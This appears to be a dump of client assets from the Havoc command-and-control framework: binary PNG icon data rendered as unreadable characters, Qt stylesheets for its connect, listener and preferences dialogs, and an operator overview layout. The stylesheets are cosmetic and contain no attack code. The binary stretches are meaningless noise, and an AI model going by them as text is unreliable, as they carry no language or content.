%Ȇ$ِ8'ʹe&V׳#q J3!;q6ْI{[M.sl)J:;,m)@h)= 2%;U _ YM{Q$6Ƒy-MlYJ2X /= 2V!wW4df٬HƖؒ#Z#8Mnm Q1qCB_B˴ZqU%li6R_ 0z9`_E*#Kg[)d(vPG&= O,Zzޖ#h%Ŗ##OF#ddg-( ^P/= %0k#foK7Ŗ%WN :^ j:2t -82!qH(>!3daSdJ/H$[ӖzveF_T?H qCB ӏ,1KFtd\1lܪW_ꋌle*BPBƆ,oK8i b9#[B2ZiRdzޭvdjƀ#c4Ց٦f٢Wo4uq^,Bɴ#*ܢB VP/=$vLٰgzKlt!c$PȲ#%J ^Z qC2qd!XҤ?GQ'8G6͝Mapx'@Ȫ$!,a}{JfXȦّEkHfsdfٸΑL$!K2&aH&G6ȱPXGEKslZrd,cNL"Ki.62U?#d -ő59{3#VA̬%OZ9!#,гAe8$+dVaT y2ұ;B6SdZa?#YRE BV qC"I`zmffDȦs"nw ue2Qu4GVξ~fFA_{B-=C66lzFtl6mnU_Ȇ\i !#%۬! 6/!BfSd%ڐlɢ+bV~%#C:VThr G= IOe[UdڐiG5lmi}:,HYKO q tTtS7eȊWr`i {vGK7E歴LLkTamÉB,|:I^l8/J92,W6<^2. ~ve9K)Y t,q d"d@)߉L ټbZ&-9zjC, ![Ov6տ!%+ʞ L H qCH217 rd#ڭ IDAT+_G&CjBXzBF ̯fOH {ߏybXwy6C6Wxc\ "+KhW21D:2G"9̙t'V' i"+\~`3ӳތP^5F~ɕK07t h~̫"Ly˓LUM?4uBBKȖIy'&iJm^Ȩ1~CId,`R5 om[g92J0d^`I]..ȊF~[pvG& A"ȏ=Gf, 4Y4DV r$v S#!E!O 2ϑuďY$ŗ=C&2v1d Vڥ޸b;dbO ŰNdX.'幕+)\6%df(2dCvq!Ԁ8)Kz;֟Gp!ϋ,Eh+8S_ Tl. DZ:65dq+儖[֟ GV<sSdnMȘ MOc^ e^ ;E֐3@X ˑՌ#kĕP:V = LJU'3:it574WgL,,!l[*2\ %(lxȜbXݳ 2, 3dȤ/o&I~c>7 Vk9Rt’932:dRc+J 2*Ջkq=LY}n@|y:v;n}H#˄YrG1#1'BVyϸ3 N2Y[w_KT!!d%) dw_a_dʑ4+٬TA7~4 s$3{gg_T1?DuwQd,m2d`ۋQnXa ۱R}Zq;cVԟ2}qOh#+NA!^Ӿ)aQU􋐩ryI 64mam2Ms 0eEߵ ĭ?28SCʁ媞~l6\dA +&dfr,6#2FŰ1@Ս=Uv8b2^- &nWgYȖvo8h ٘5dn~Y?4e-P{@*nu!9Ko*ŕ?\kŵ=a[YEiP/(vwLٮƗPHV"We|2 9!/d;6)2+cE^3 R  Ic%p(opowW-]\;T-aBf/^~,ɏrloʐ妵!q~#1P#d:k*OÒ/dlY?gLNJ{ؐqߟn%,KV:ZOpqSd\|JWc'Wʐ崎M! 4C"KI=*ULA!_p6d%cҤ+/4uwtyCȀCYpG{v5]uf*Qd!?(2+4'eR82 ,2KiG[/n#* ͛3_q} |PC,OZ+]Gm' u-Qw{x듊&)I?jXʑ c\AHb;3,B -/抔!:Cv-95w->!B9~Ed;289{^d -ل6dYX,JmH~l G|R~ZO{'C=Y8#CZ62QPlsd3w>n c]-q6sx"gȾ ƑQli2dCi`ˏuR~l1b] ß#6PYfc _sdIKұaǜ%P/iyynB"srdcl[h !iJ#c};Ov){#dڐql+##K])\67k)X %X9뒾kz0ZXpls*]y8dYa@I2']6N5ŭ*1|\GC%UٕŽLjmE̴-9I뷡%"O9:K+ZjEIR)eZPGChkX$l n,?ٱT(NM^x̶a%f-g92%Q6>wf}׆=CrR^v*0-H̪—#ƊT~1rh#zĶX4)2_  -w0ʍchr'V .%ȼm-ؒ-rQ!K_#/ov(ivcc:;vde>u{?DUiGurd%yKϑ7l'sc*ۺTPjn1fȖ e˒+d^Qgcfg+E*ؒ}OdȦ>>&El<q^#3Y7]G'!bJ_-$#S92,W&:2ǒ9Z#EsISSco CiG::L3 בW\Ֆ6K6.y%1v iQVlm2X[ob}JZaԵR/doS}D.W'-ixKY1gI{-EHئ2cd:ڻ۩5]]ƚ{ӝ$e:7Q_T'5wyۨ$mdXĨӔk&cR4m:>?z>z?˯o]ܒ5Կ~Yџ?>V{w D7z (Nd:1ȟ5v&{Sϩջ{_}^xWf甎~Wۏ}E?c.y۹ǫa <ͻ5MXh:-#ղ3=ϥ{{W_}?dlWO|S>~?)?>=k+Vi7B#Y7z} uuI]qKH"Mm޽{3{{n?ҾwG6db!}~Ud,v{ЪFH>@O$y 5)}dʓ$dxO2^<^Y?Z92%d/_xK)?(Su#ٴvaՆf%d-KFJdＣWJ8 %dJđoxV%bIW1EO[_UFВJ%d/ƛ]$&.$R/ّr YGC#vt~XT%ȑql%|;J^)Z|e,߾˷ؑ='gzzđ%Z==mHHPexL9fR=<,K/bïK W~O_tLŖƑޝ?gj;Џ& mTlYgd{($K:y.$;X,7#+K̞gv@_Z+*{,Y2-%SJ*% 0ْb^p3-[{>G=!h4RVGi22JULCd%%#G,LŖƒ)%{wIO6 Ŗoהr>Qg<@,XJF 0:)Gv 00@ZXZBw^dbWM[R9}WBD5QGFՊ5dړQ?G>P)Y){e-)|B}ygRGT3%ؔ}(JV`򲡁-##K&~|TBQ10^ĒI9Y_^). 5ԏk!{U{v}z񳋵5m3 0bo/Kʑ8R2`ht5U0ɨuϔyr#{]f-ۻThY%:`` T#SAGّ t -kIݷ$!U1oRRz:xR_ GFK/ﭮ!%C DB]2w˷x}oh}t5d5d!Eۍ)k 2e27zV b`(ֽ)_o|W_ĕh^:)Z& J^I5:i$-m22#f{>R:`0CZkS&2F<룎֋};(՞]z7eږn'9e5'e@␹KǖlzZ1t 4S[e-j -kSP@"]@܍%UeZ˺tA.נIğ'O@_bR [R$cl3;L:t˚1t "]:hz86U:`Xe+3FC2$mv|s={9uK:`TLx٨̪--~w%s.^,CP@Rѻq2awm0,!C L͔R Msp4e6\ƴ[ܥY,8mbKt Hbؽ/꺬Uc2t pF#euĠww-MCY2 0H8ky&!K#2t 4ڍ$]lȒ&+'ۏ jI̿:H"YV- ۻYEFUуyKjο'5GVe Z+Y)s޲ͩYeŖ=J%vΒ(k޲VjNcS_"[YΕ%Y2McsWwINUb+lZRɭ7o;BdkKd 2d$]}l~Ԓ`?[ʇd.fdH.USKFY2Ԓ`R݉=)HKQK@ril CV^ ג5#K@2UOvH!@2Iu%{K;\BH$}%zCk Q˚1d*&K<({==m ՐU bH54ci({ Y2EsjdLJ7Z;k*dQkw]#Ldpyk.5& )P{뚋+smڑP5 H IZ8ڍ>$Fc56aQN¿ %I9U~(G~nmF?I 5Z5ddmdT?ʏհ;,'l?M-2e?K|ڍIf$9vxGUPn|ɩ2>υrc}ElSZFI_v&RY"s"eiWYT@{wb0D6c~W6Տ2Fw} \˖zؕa-ζ^8Vs: _sϭb˺R)T:Rb2:紖mL2e: ]@hljnٝJjoP)*#ن)800OΌ$ ԜJuQ8IV:\E6f"ge:H 3`/ t8D$ږmLʔ/S7w 5#&SIgwӡhk;z֋N 8Db&3Q5GYBG[GG.tyw1 5z.[\U.$Ct9fz~>DGO2e˚9׭l_¤R=ء<uHor ::`'Qv(# dR6Bs1h@jwWHͩ6rcT @y24nUy2l) u~ T?Bp : Ugʓu`otָ_sk[_d M]0d A$SȐm t?mIHu@ T'=}]H(~N( T'?D#5ЇIKP Iu*92]@B@heܯWBi;z6K$N 6 $]]X3Ult?BZ; d *niF9,̳֎X2"z&zY46 AuAR d`;Z^j+Ayjֶ1aۻwhP:,t lƦTfGGGweǚЭl&_#}}*Ak<[Kc~^=RH4H";JiIY?gϡ  =MG@-y aCOj?*>1NEk+'.hި&|:BY6SݖX6APKɦ~|˦p iPy MQ5| S 4wmj,/78IENDB`havoc-0.6~git20240910.69ce17c/client/data/resources/winxp-icon.png000066400000000000000000000522111467014221700242720ustar00rootroot00000000000000PNG  IHDR =PLTEGpLÏ۽VXXUXXVYYJJJ@BB@BB@BBLOOLNNKNNKMM|}zLOOVYY@BBTWWGJJTWWacb®@BBGIIUXXTWW@CC¬®VYY@BBªO4–½dfeWYYVYY@BB|BW" IKK/00gji688#$$¼QTTOQQTWWFHHy@Ȣ 8BDEt>V! n:$  $qqo 9RR KMM&7Hh&OT!a3h7 L+>աǗbonxL Z Rw,5! /?4K|+Rv?[[E);Y//Dc<-Ey)i#qU034"0HY&(*M;Hh=@AgNB2"?O2&<>>,./@]"WZZp rtRNSY꿪2 ZZ:$H)*@_n.{ڐLy6=䲷@jvpSʟϕWrf IDATx ՝\F CdwW%d,$3g4(A34FvDG$ݢouΩdIh9sN:u)7/y?m٦ӷ=Pt#r-z{N:s3gNu_e2/c^v-Zv뺇MĀ <؉ٛ/9NuΞyۜ,'5s&cw?rׅS12d!f-;LI922k\&`@DM^LcMϜyY-/kټ!mwU1*Dg!/J;-{&gV#Lg:֬庇=ɬ,j=MmZfٲfS1*w:86-eLwM4JecGVWpR,{Z4ser#CcGnUdR&%;sַnk"Kwrshs-&Q]j}lRq)vXTfIYǗWvf`o2c-:vC_[^ʬ37̶y͚[b9 Q練-e9mF%С}iEe9Z P2,kdrxZ GeNLj=~[r}뙏f ^3dYRǮSdgdN +5kncJvJJ2Vy۸W-ޤddN{M+^f?;]&:tpз=AΓf-~`49dvm-.MF巸`?%ah -`>G:zMr[`>婁Mdy9-u:4gkwS|O’vPX\[-ctwqⲃerss;%dq4deN8`cΜ-XC{,.3%] hnE(xȞuS溫OPyJd:2QT2A ,ٰ/W˶0+!T%7lZɆ-422AŎ/\\ dILܲ,h1E!3MrLoypNL2$S<иxi%B&Aq-sS(O0-D!3FM3u0C!3ƆEz+&mi"d"OwRV!dhu;e6!dbh/-B!3&*8 d(*+oھY BftB )! #U ddi!{a WP L23L<[]A%2A̰ހc[5e6 dajy8q22AȌ4qeHo * Bfm¸-%!GtW[dv d qXw<,`eiB& F~9tR d&0N XYځ Bf@!3@[dXYZ Bf;}1T!GuWq % d%Ζ>/67C!.Qd3qQ dm]-/>[dKpvi?$B&~f|B|n1oag0)3!LxwSgǓ2S2Aȴ[oʗyYYߘ L8/kB&n#/yfY:97.eRfB&v&nmYw=o؄0!L7{gGf-gF֗l2At[oI/Lb=4߬ Sht#dy?igߋMebf]B&f%&>Wή*Klߙ!=)ԍ BHr{k! عq07Fk B⽲Ln29 3gI9uI/>#_DL2JLbYh;! !L/#?;s"EͬlH,V/j4B&^VEFz'iKLR6#Çlq° ѩm@!kjy8r0ⳙKYrK]#ޙ_L22ϝ}^cmܜͲD^]L2VE>;#$Bw>Lnqvc$!L#a˭,l!MvN?ai߾~RB"d:%M\Y|v$yscJ1K$/= K2ܺMRN |MInL'd ͥDS7.LYYB|au_x=atff3_2at d.BQrjys9Ϗ [2T/9FנC93cB&FF~vd;{1xSعsigKn9cԳ7_|]}O,2!h4ೲYŘ6l&LX2abdo&vT8Z9#.C2A4:b^t|>EIa[d}Sd尋{ީHoA3!L塲1hPL2m\Y.Ú B+zhH-8|! dڬ_Z;&?;쬿' BKb/,7W ώ dEvgMP9֟!|vE!e^Yz~WH!d-i6-B&. ";\a4[d.B&&㺫a<|43!LN+˾#0c2AHl]- ȒM|?9L2=JLS> ;3d4+s dz4-?_9L2=xbHK|v$S !L #?;eώd9 BE[d|~X~RB&&~vdϝ&^;l6W!diagGT4ralG!!Uw<~gGA!a4ժha \Yer d:]-~[d~вhhL2 ώEL2 &x>5q,A!`4g5#g02AȢ<;ZLrxw*G!^/|BfgG,vF!9ÚxFO* BaI_ ;񀙍 B9#o8sbjy33!,rE&ީgĕ%_!,r&,ƛxhtLّEgd; "뻓OG!ya/XY^ B&8)[d|BLّE~w*EƝ!dE,a&~w/.D!Xě/|>hgjyX̗y/D!sEe|BLhygGꎖ.B!+˭>_5XY^ BnبZ!,Z&~vdgGLSn!,RI?;geigGF!,RM|?iϚ0ql?Y^ B)#?;2g`w*V@!/|gG*"dEώܩ4r%|B&YwbQ&,̲B&Y |̲h Ly#3tGfV@!iώ B,_b~ L$莖i+f_ 㙥B&YtL<|=`^>;⁐ B?;2烖FnqB&YtL<|ᳲ4rax!,:tW˃ߝK |aώx"dEĕUYxق B/숁,ΎvlA!JbJq-Zh9Dώl-/38념 B`YM[lذ~sopȦ}#a4/<2AȢ--Z-F]4Iʿ$JFݲu+5x6׿ dItn-غȆde"!Y+Ȧ lK <|ї;2A"eXT,ngnaS/i K"D!n[ + L2~bf >;⃐ Bޙv|ӑod䑭ioeoٰly#dE#yώ,:X8%G*}gG#~ dH}rG'+%K6[Vi٦YNXʌ!,ޗ.:ed2]lgy)wԧ &ީgG2AȢq#$ 6t"L#,pُORW|v!,ɋTv|lغ!"aVa0 Bl[i|7MD6yguWnي B 傲07/)9r^-M"ce鋐 BĖLۺedf|$7-9{yjU4;}2AȢPrnlٖN+)oeihlB!/0nᣡz Y;W"dEaøqǷlg-Rwb尩E!¾B=}/m鮖. BU,"S6n4nG!; h~W|vR dYܩ>[d&ީؗ%2AȲIHue[}/xbBK!deM<|oe d٦M9VjgGAK!dxҤyLT}^- C/B&'͛bɏ?[vus\֭['w3-B&q8yp)ϻ燧ݔ>>9lUdIo#D!3GcO\{T.ouYsJ EviL23Lu2 D.0|uҤjyD!.Q_tk _higG2e2A"4igsgbnv\nʒ&|a/ ByGUTɆ/_;90i3K{YLH$&X3˶,fbhyC!@s;.NƬĕ޳B&YM5'W(CK]7NEVG!ˬI+>S|RٺKYryP㰗C!ˤvkΘccigvb1+"deҤu#Z~R=#G!ˤcu']_.hҤl P2A2igkKf,1'e|v dT|3|w%'eّJ dePbz]`ʝMoH~2A2x9+˔+w,1~\[ L Xw*^ɝ>7jOlW!,s&-k+yY_jMْ3 B&YL=*?CI S7=VIL)e`ȆoO`Y-G1F/:7* B1uW.|6Yْ3 B)"Kl[e!de̊oR<[-0G/͗FG!˘aw_6O]-=A!˘u %L9zN"de$WŌjٰ%rbpLLٮZsS36sU!,S Si 1~v#0{b d2π;+Xp3f/@hgAX dQ°/Rv%ɥ;*RdそK B M9|qtڇP8aXa&?a"deƼU9s۾L<fo\25dƳ쇎 BͺugMo /<ŗy0lf\ZK@!(#5 IDAT WޟL̜ϱ+o1uKL0ahd-M$IޠB&YfxKzBmlM_t?g;? L(6qeyqYYcW~>L8fL_2)L0郖e{o9=|]IQSPE!˄Is >֟\ӯ髾dg*L HL6?agwk!,v~Ҕc{f]2g}zfĿa B _X7Y{X_ڂ BL3mbzə>a. L lNřVe[exkIUїkZe d`gG|ǧc\u(ڙQbY2?\] d+6qesbrmOT'dK~zչUh~ɘ do+{o,x{zʅ/2+!,|tWÔ?/Q1w9vd斘Dr'+/'[ d;\iَ=*wKjϚUeZ dg޳mc_ 39sώU* 9B&YV~p{WzTǬ_L$KfZUqF80~A! [I_YY2+ZR%~yzͶYR_ 2AfZ57'NjoI~uzǪ _2k4õ!,lFnܩXr^)'Wr̒ʮ3dQ^m}/"K!,l+tGnƦ,߳Yv9K͟%35ۼv-ܛa/B&YȊM#,/؅ g\m_;l(|YfǪUf-~VqZz d![w<YKV]scS镝z!dZ>s❊M42AB!}EtH0xG! $oXZK\ =ƮxG! 1_ }Eş1BnH!,T g3C򙰒"d/E! UAˤ+~9|.B&Y 'dcE;^q@! ّOtW,Vi#dȕZ-d%Tæ B&?hI5ΝN2AdgGY,|W6+B&Y&y2aዱ, dh[d>4ql, d!2#SWə,EL2|c{tg* B"?;rge5 Bb/W dٮZv-cYYA! Zx7ü\ !,4 \Y>:ě/8|!,4F~v~vd!/B! Kc{eW BI |в鷚B! d?;sbĕh+6 da>żnώ|9ּ% BȆ"K]-J" dey>)1X?_ Bu>/-|v$(B&YH>60dy1Zw< d#E|1vMLpL6N{ώLge!,&ީ^[Yx!, :v! ddpZIxO Bc^NŽugY_F;^qB! _>g+60B&Y(jʲ_ BIStW"ώ|er,7_G! Y>g=m3˅ B+uާa&ީg2AB0;ώT@!SW,x,TT@!S09+>讖mP@!SWlpZ&2A3r)>w*4pe9-2L2e[d=-2%L2uΖ>f)U|vD!LY/>;2Z#J d \Y>?/ "R !LU|~ʲț/8֯ Bj:sE/"B&ީ8NE"B&]^㳲4#39 B3}V o 5L2E&n ^jʒ dL2n-䗺a!QD!SdgGEXZfq9"B&bW>[dE+uW;8E Bf,2pюW 2A>gey/.䙥*B&XkgG2B&ystW˃2QjX 2AȔ0gd_eY_E<`1D!Sr:5icWeL2 -儖1;K \Y# d*\;|s+Mg')NaHL޵vNzkL^YcgG2L2kO`(9i,2x5NV)Yp7_ }pz~k+=-;_XZS1 L&{2*v:R>;мBn!,ITld/(tJsbuJ_ B[d×TI'/;+S1m 02AȂ)y[;Dv䉌)s{ |fo5/@! lR׉]19![q|v0ώ Bɲ9'E o=';w*be B&YPrʜWd~IyI L/fx/A! jԒXKb綿[d,A! j)?hcä=`i HYLA! ・"X*c/ d dU+y2غ 'eS|((1拱9|B&&`l :o[d!!dY-1rϗyM<|gGB![q"Qj3KB!]νLgĕ% !~e>[d ?ho!+˰2Ab 8)}xaC!Jwjy8oP2Abb9>/L]d?,L(vjyVM2A.Rwdo|̥{Qp_^22q@F qx̥{Q#d.「 ~,2Nt2j!9B=ȨT,mBf̥{)٘˥̙}Ⱥ&̥{w^Vr#MK8 BNdR3+ݱ)B=(gR&K2]K8 R//9s8c>̥{QYYe)?1:fB=?p9:E@Y;O#L蘍Bְ? wYNM%d ;vݟeQ,„c7 ~Dk)Ⱥ=?`7;7Oh=6[Ҳt'4?>!lUGeFv=t'4WG@0uJ!dzݟst`꼡|n+ ͽ|O`Tܪ{{0PHr?+]ׇt(4W>c݃ 7B@< ˓OD`Uxʫu`+\~Qfʓ8`7!kرU| MgQye]WݟR=߾{IHq؇Ev7\I2FJ~׮}n_tr=+Ȼɫyn GEÆjֈ^yUnxn FelWyCu.On^,zEna  ̲au3KQ'[JU꼡paV5^nlRίk%^;)O~";drrdd=T6o] ]2Β֨r㣭:Ո)Y!gkQz;[X|WK(~t}1!BS*|de Yn,UP2}W\wѾ{NLWWWH_<WW^4خk!X+~xO,kva)dqy5bé,,ѺtRȱX݃A'd x{<} O%`:* uk׵SW{~?`.ܱ,RPx=g0T1>AV^^Op[,`*" >%?1Q's2@uTNΙ==cJjN>`ԫ^cqF.O}]ொ]De%݃B}u}0cW/T%`:o(<ȦȫRcWsc,`:Cֱ[jf| ) ?IDATvĜ 0A: %5vsjΊR+ [$cK֣]jTɎcʽJ'?` ЫXÆm_J^<<=qPh%SXVPl͘#/Ϗǵ&liݛ۵j_K=Xn{O-Y?wXÎZ=PK> /'O#ʀhfcAWܣnׇ:ͱ Uvg/r2|6ֱ[XBVFvXc# 3kN5rRۯ|ޫJdZEj2`6&->Pѱ 9)O??gN\,XÆuv힪Xl<_)δ̙=c+.'a\,ͭV]>`] jTIs\LX_'mSzꩺOMGZumkv/7W ̙'o+1{5uN+ye͚JWNwޥKBg&SʴUϿRz֥P kԮ_#m9`VqfhȐ;},\M8䟜UIo`~xsq;il`٢=u7(=i]wU6CwqGUYY(75NP8j.%O^NT;A!vSPQ^ ލ wn?i۹~R d`Y)>/0B`59|QMw~S5yl dXp`&vFFjs.:|!8dxN_`Y'^/7`Y&7f/7`Y&n/R. 7`%~/0@V    s܀d|Q0@ֈ  k5yBp%xEnD\_pbyEnC|_`Y!/0PB|_nA^܀dXx0ߛ/p{>|!8^_`ߛ/px܀\o( @E 7`/po?|!8Z_`/p܀Y^Lqcy9Moqk 7`/0ت]YpBpηD@\?{}qS]d!0Ԫ[dž??K @j[6jo O޳)P}߲ heVdߙVnIed?.Yl˩QwOo^ KֻU|근c?Q^rm Vdi] by9ݻ;D. b95m> [f ZN1ųdrw?`..^Y2`R}ܹͫ gɮiR]2N58,,{.V*|eTzN]l\,.yr اFr:O.{Wkԙuia)uURfLXQ~re :Xl[6 `.}Y;;Mw֫_jtzU,l>Q￳O/d:&;*zˠO/f ,ЙȮm榞^=Romڄ2@ܼ.r?k3&7A_>ګ֫_2@7t |'czU7Fw?ȢWP/D( vWkSmnޙ:H^_նqk︣Z^} z}^P^ R!бs%kOjÙzQ,.Qi?o WIaT^z?8 naں5vZ]{U窺-_Ә  Ԡ59Jor?\Մc֍xb zQdֶs| M2 -Q uۦM*vmu k۔%*v`_D%T%d0UUyI SP_H*TJ^N&];Eկ~c5ڍMTNnA,PQ[;1TR&M6%%Ȑn{0LՏͭ&A;Wۖ Gr7;(z5gatծZzkB.LkUW6 K)/j6j۸qϞڴ^Cr 6iݹ5^sToZILHN~z@M[cw xR i6>)>IENDB`havoc-0.6~git20240910.69ce17c/client/data/stylesheets/000077500000000000000000000000001467014221700220325ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/000077500000000000000000000000001467014221700234145ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/BasicDialog.qss000066400000000000000000000026351467014221700263130ustar00rootroot00000000000000QDialog { background-color: #282a36; color: #f8f8f2; } QWidget { background-color: #282a36; color: #f8f8f2; } QPushButton { border: 1px solid #bd93f9; border-radius: 2px; background-color: #bd93f9; color: #282a36; padding-top: 3px; padding-bottom: 3px; } QProgressBar { text-align: center; } QProgressBar::chunk { background-color: #6272a4; color: #282a36; } QTextEdit { background-color: #44475a; color: #f8f8f2; } QComboBox { background-color: #44475a; color: #f8f8f2; } QComboBox:!enabled { background-color: #282a36; color: #6272a4; } QComboBox::item { background: #44475a; color: #f8f8f2; } QComboBox::item:selected { background: #6272a4; color: #f8f8f2; } QGroupBox::title { color: #f8f8f2; } QPushButton:pressed { border: 1px solid #bd93f9; border-radius: 2px; background-color: #282a36; color: #f8f8f2; } QListWidget { margin-top: 2px; background-color: #44475a; border-radius: 2px; color: #f8f8f2; border: 1px solid #44475a; } QLabel { color: #f8f8f2; } QLineEdit { background-color: #44475a; color: #f8f8f2; border-radius: 2px; } QLineEdit:read-only { background-color: #313342; color: #f8f8f2; } #ConfigItem, #list, #text, #bool { background-color: #282a36; color: #50fa7b; } QPlainTextEdit { background-color: #44475a; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/Connect.qss000066400000000000000000000020451467014221700255360ustar00rootroot00000000000000QDialog { background-color: #282a36; color: #f8f8f2; } QPushButton { font-size: 13px; border: 1px solid #bd93f9; border-radius: 2px; background-color: #bd93f9; color: #282a36; padding-top: 30px; padding-bottom: 30px; } QPushButton:pressed { font-size: 13px; border: 1px solid #bd93f9; border-radius: 2px; background-color: #282a36; color: #f8f8f2; padding-top: 30px; padding-bottom: 30px; } QListWidget { margin-top: 2px; background-color: #44475a; border-radius: 2px; color: #f8f8f2; border: 1px solid #44475a; } QLabel { color: #f8f8f2; } QLineEdit { background-color: #44475a; color: #f8f8f2; border-radius: 2px; padding: 30px; padding-left: 5px; } QLineEdit:read-only { background-color: #313342; color: #f8f8f2; } QPlainTextEdit { background-color: #44475a; color: #f8f8f2; } QListView { margin-top: 7px; } QListView::item { height: 22px; } QListView::item:selected { background: #282a36; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/FileDialog.qss000066400000000000000000000023401467014221700261420ustar00rootroot00000000000000QDialog { background-color: #282a36; color: #f8f8f2; } QWidget { background-color: #282a36; color: #f8f8f2; } QPushButton { border: 1px solid #bd93f9; border-radius: 2px; background-color: #bd93f9; color: #282a36; padding-top: 3px; padding-bottom: 3px; } QTextEdit { background-color: #44475a; color: #f8f8f2; } QComboBox { background-color: #44475a; color: #f8f8f2; } QComboBox:!enabled { background-color: #282a36; color: #6272a4; } QComboBox::item { background: #44475a; color: #f8f8f2; } QComboBox::item:selected { background: #6272a4; color: #f8f8f2; } QGroupBox::title { color: #f8f8f2; } QPushButton:pressed { border: 1px solid #bd93f9; border-radius: 2px; background-color: #282a36; color: #f8f8f2; } QListWidget { margin-top: 2px; background-color: #44475a; border-radius: 2px; color: #f8f8f2; border: 1px solid #44475a; } QLabel { color: #f8f8f2; } QLineEdit { background-color: #44475a; color: #f8f8f2; border-radius: 2px; padding: 3px; } QLineEdit:read-only { background-color: #313342; color: #f8f8f2; } QPlainTextEdit { background-color: #44475a; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/Listener.qss000066400000000000000000000016371467014221700257400ustar00rootroot00000000000000QDialog { background-color: #282a36; color: #f8f8f2; } QPushButton { background-color: #bd93f9; color: #282a36; } QLineEdit { background-color: #44475a; color: #f8f8f2; border-radius: 2px; padding: 3px; padding-left: 5px; } QListView { background-color: #44475a; color: #f8f8f2; } QLabel { color: #f8f8f2; } #bool { background-color: #282a36; color: #f8f8f2; } QComboBox { background-color: #44475a; color: #f8f8f2; } QComboBox:!enabled { background-color: #282a36; color: #6272a4; } QComboBox::item { background: #44475a; color: #f8f8f2; } QComboBox::item:selected { background: #6272a4; color: #f8f8f2; } QLineEdit:read-only { background-color: #313342; color: #f8f8f2; } QGroupBox:!enabled { background: #1c1e25; border: 1px solid #1c1e25; border-radius: 3px; } QGroupBox::title { color: #f8f8f2; } havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Dialogs/Preferences.qss000066400000000000000000000017431467014221700264120ustar00rootroot00000000000000QDialog { background-color: #282a36; color: #f8f8f2; } QPushButton { padding: 5px 20px; font-size: 13px; border: 1px solid #50fa7b; background-color: #282a36; color: #f8f8f2; margin-bottom: 2px; } QLabel { color: #f8f8f2; } QLineEdit { background-color: #44475a; color: #f8f8f2; } QListView { background-color: #44475a; color: #f8f8f2; } QListView::item { height: 25px; margin: 2px; } QListView::item:selected { border: 1px solid #bd93f9; } QListView::item:selected:active { background: #282a36; } QComboBox { background: #44475a; color: #f8f8f2; border-radius: 100%; padding-left: 5px; } QCheckBox { background: #282a36; color: #f8f8f2; } QCheckBox::indicator { border: 1px solid #ff79c6; } QCheckBox::indicator:checked { background: #ff79c6; } QGroupBox { padding: 10px; border: 1px solid #44475a; } QGroupBox::title { background: transparent; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Havoc.qss000066400000000000000000000045221467014221700236250ustar00rootroot00000000000000 QMainWindow { background: #313342; color: #f8f8f2; } QWidget { background: #313342; color: #f8f8f2; } QToolButton { border: 1px solid #bd93f9; background-color: #282a36; color: #f8f8f2; padding: 3px; } QDialog { background-color: #282a36; color: #f8f8f2; } QPushButton { padding: 3px; font-size: 13px; border: 1px solid #bd93f9; border-radius: 2px; background-color: #bd93f9; color: #282a36; margin-bottom: 2px; padding-left: 15px; padding-right: 15px; } QPushButton:pressed { border: 1px solid #bd93f9; background-color: #282a36; color: #f8f8f2; } QListWidget { margin-top: 2px; background-color: #44475a; color: #f8f8f2; } QLabel { color: #f8f8f2; } QLineEdit { background-color: #282a36; color: #f8f8f2; margin-bottom: 3px; margin-right: 3px; border-radius: 100%; padding: 2px; } QPlainTextEdit { background-color: #44475a; color: #f8f8f2; } QTabWidget { background-color: #282a36; color: #f8f8f2; } QMessageBox { background: #282a36; } QMessageBox QLabel { color: #f8f8f2; } QMessageBox QPushButton { padding: 3px; font-size: 13px; border: 1px solid #50fa7b; background-color: #282a36; color: #f8f8f2; margin-bottom: 2px; } QTabBar::tab { margin-left: 2px; background: #282a36; color: #f8f8f2; padding-left: 20px; padding-right: 20px; border: 1px solid #44475a; border-bottom-color: transparent; } QTabBar::tab:selected { background: #44475a; color: #f8f8f2; border: 1px solid #ff79c6; border-bottom-color: transparent; } QTabBar::close-button { image: url(:/icons/tab-close-button); subcontrol-position: right; } QTabBar::close-button:hover { background: #282a36; } QTableWidget { background-color: #282a36; color: #f8f8f2; } QTableWidget::item:selected { selection-background-color: #6272a4; color: #6272a4; } QHeaderView::section { background-color: #44475a; color: #f8f8f2; } QMenu { background-color: #282a36; color: #f8f8f2; border: 1px solid #44475a; } QMenu::separator { background: #44475a; } QMenu::item:selected { background: #44475a; } QAction { background-color: #282a36; color: #f8f8f2; } QTextEdit { background: #282a36; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Widgets/000077500000000000000000000000001467014221700234405ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Widgets/MenuStyle.qss000066400000000000000000000003751467014221700261220ustar00rootroot00000000000000QMenu { background-color: #282a36; color: #f8f8f2; border: 1px solid #44475a; } QMenu::separator { background: #44475a; } QMenu::item:selected { background: #44475a; } QAction { background-color: #282a36; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Widgets/MessageBox.qss000066400000000000000000000006551467014221700262330ustar00rootroot00000000000000QMessageBox { background: #282a36; } QMessageBox QLabel { color: #f8f8f2; } QPushButton { padding: 3px; font-size: 13px; border: 1px solid #bd93f9; border-radius: 2px; background-color: #bd93f9; color: #282a36; margin-bottom: 2px; padding-left: 15px; padding-right: 15px; } QPushButton:pressed { border: 1px solid #bd93f9; background-color: #282a36; color: #f8f8f2; }havoc-0.6~git20240910.69ce17c/client/data/stylesheets/Widgets/OverView.ui000066400000000000000000000051141467014221700255460ustar00rootroot00000000000000 Form 0 0 1228 739 Form Qt::Horizontal true 0 Operators false false false Name Status Task Queue havoc-0.6~git20240910.69ce17c/client/data/stylesheets/bottomTab.qss000066400000000000000000000001441467014221700245140ustar00rootroot00000000000000QTabBar::close-button { image: url(:/icons/tab-close-button); subcontrol-position: right; } havoc-0.6~git20240910.69ce17c/client/data/stylesheets/menubar.qss000066400000000000000000000004511467014221700242130ustar00rootroot00000000000000QMenuBar { background-color: #282a36; color: #f8f8f2; } QMenuBar::item { padding: 1px 4px; background: transparent; } QMenuBar::item:selected { /* when selected using mouse or keyboard */ background: #6272a4; } QMenuBar::item:pressed { background: #44475a; 